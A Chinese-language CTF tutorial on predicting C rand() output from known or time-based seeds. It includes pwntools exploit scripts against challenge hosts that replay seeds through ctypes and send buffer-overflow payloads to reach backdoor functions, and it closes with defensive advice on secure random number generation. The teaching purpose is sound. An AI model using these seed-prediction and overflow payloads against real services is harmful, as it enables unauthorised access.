关于伪随机数学习分享
字数 1260 2025-08-22 12:23:00
伪随机数生成与绕过技术详解
1. C语言中的伪随机数生成函数
1.1 基本函数介绍
在C语言中,rand()和srand()函数用于生成伪随机数,定义在<stdlib.h>头文件中:
-
srand():初始化随机数生成器的种子- 接受一个
unsigned int类型参数作为种子 - 相同的种子会导致
rand()生成相同的随机数序列 - 常用当前时间作为种子:
srand((unsigned int)time(NULL))
- 接受一个
-
rand():生成伪随机数- 返回0到
RAND_MAX之间的非负整数 RAND_MAX是一个宏定义,表示能生成的最大随机数
- 返回0到
1.2 基本用法示例
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main() {
// 初始化随机数生成器
srand((unsigned int)time(NULL));
// 生成随机数
int random_number = rand();
printf("随机数: %d\n", random_number);
return 0;
}
1.3 生成指定范围的随机数
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
int main() {
srand((unsigned int)time(NULL));
// 生成1到10之间的随机数
int random_number = rand() % 10 + 1;
printf("1到10之间的随机数: %d\n", random_number);
return 0;
}
2. 伪随机数的可预测性
伪随机数实际上是确定性算法生成的,只要知道种子,就能预测整个序列:
#include <stdio.h>
#include <stdlib.h>
int main() {
int v1;
srand(1); // 固定种子
for(int i=0; i<=98; i++) {
v1 = (rand() % 100 + 1);
printf("%d ", v1);
}
return 0;
}
每次运行这段代码,输出的随机数序列都是相同的。
3. 绕过伪随机数验证的技术
3.1 使用Python的ctypes库
ctypes库可以加载动态链接库,调用其中的函数来生成相同的随机数序列:
from pwn import *
from ctypes import *
p = remote("node5.anna.nssctf.cn", 29528)
my_libc = cdll.LoadLibrary("libc.so.6")
my_libc.srand(0x39) # 设置相同的种子
# 生成与目标程序相同的随机数
payload1 = str(my_libc.rand()).encode("utf-8")
p.sendline(payload1)
# 后续攻击代码...
3.2 直接计算随机数
也可以直接用C语言计算随机数:
#include <stdio.h>
#include <stdlib.h>
int main() {
srand(0x39); // 设置相同的种子
printf("%d", rand()); // 输出随机数
return 0;
}
然后在Python脚本中使用这个值:
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = remote('node5.anna.nssctf.cn', 29388)
payload = b'a'*72 + p64(0x4008B2)
p.sendlineafter(b'name', b'1956681178') # 使用计算出的随机数
p.sendlineafter(b'next?', payload)
p.interactive()
4. 实际CTF例题分析
4.1 例题1:真男人下120层
程序逻辑分析:
- 获取当前时间作为种子:
srand(time(0)) - 生成随机数
v4 = rand() - 用
v4 % 3 - 1522127470作为新种子 - 循环120次,每次需要猜对1-4的随机数
绕过代码:
from pwn import *
from ctypes import *
p = remote('node4.anna.nssctf.cn', 28052)
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
# 模拟目标程序的随机数生成过程
libc.srand(libc.time(0))
shu = libc.rand() % 3 - 1522127470
libc.srand(shu)
# 生成120个1-4的随机数
for i in range(120):
t = libc.rand() % 4 + 1
p.sendline(str(t).encode())
p.interactive()
4.2 例题2:dice_game
程序逻辑分析:
- 获取当前时间作为种子
- 有缓冲区溢出漏洞
- 需要猜对50次1-6的随机数
绕过代码:
from pwn import *
from ctypes import *
context.log_level = 'debug'
p = remote('61.147.171.105', 57855)
libc = cdll.LoadLibrary('./libc.so.6')
# 利用溢出漏洞
payload = b'a'*0x40 + p64(0)
p.sendlineafter('name', payload)
# 生成50个1-6的随机数
res = []
for i in range(50):
res.append(libc.rand() % 6 + 1)
for point in res:
p.sendlineafter('point(1~6):', str(point))
p.interactive()
4.3 例题3:ez_game
程序特点:
- 需要猜对20000次1-7的随机数
- 有时间限制(14秒)
- 有后门函数
优化技巧:
- 预先计算所有随机数
- 不等待回显以节省时间
优化后的代码:
from pwn import *
from ctypes import *
context(os='linux', arch='amd64')
libc = cdll.LoadLibrary('./libc.so.6')
# 预先计算20001个随机数
libc.srand(1)
res = []
for i in range(20001):
res.append(libc.rand() % 7 + 1)
# 连接并快速发送
p = remote('27.25.151.12', 33356)
p.sendlineafter('username:', b'a'*8)
for a in res:
p.sendline(str(a)) # 不等待回显
p.interactive()
5. 总结与防御建议
5.1 攻击总结
- 种子可预测:如果使用时间等可预测值作为种子,攻击者可以重现随机数序列
- 种子固定:如果种子固定,随机数序列完全可预测
- 绕过技术:
- 使用相同的库和种子重现随机数序列
- 对于时间种子,需要同步时间或爆破
- 对于多层随机数生成,需要完整模拟整个生成过程
5.2 防御建议
-
使用加密安全的随机数生成器:
- Linux:
/dev/random或/dev/urandom - Windows:
CryptGenRandom - OpenSSL:
RAND_bytes
- Linux:
-
避免使用可预测的种子:
- 不要单独使用时间作为种子
- 可以组合多种熵源(时间、PID、RDTSC等)
-
关键安全操作不要依赖伪随机数:
- 密码学操作应使用专门的加密库
- 重要随机数应从安全源获取
-
代码审计时检查随机数使用:
- 检查是否使用了不安全的随机数生成方式
- 检查种子是否可预测或固定
通过理解伪随机数的生成原理和绕过技术,安全人员可以更好地审计代码中的随机数使用,开发者也可以编写更安全的随机数生成代码。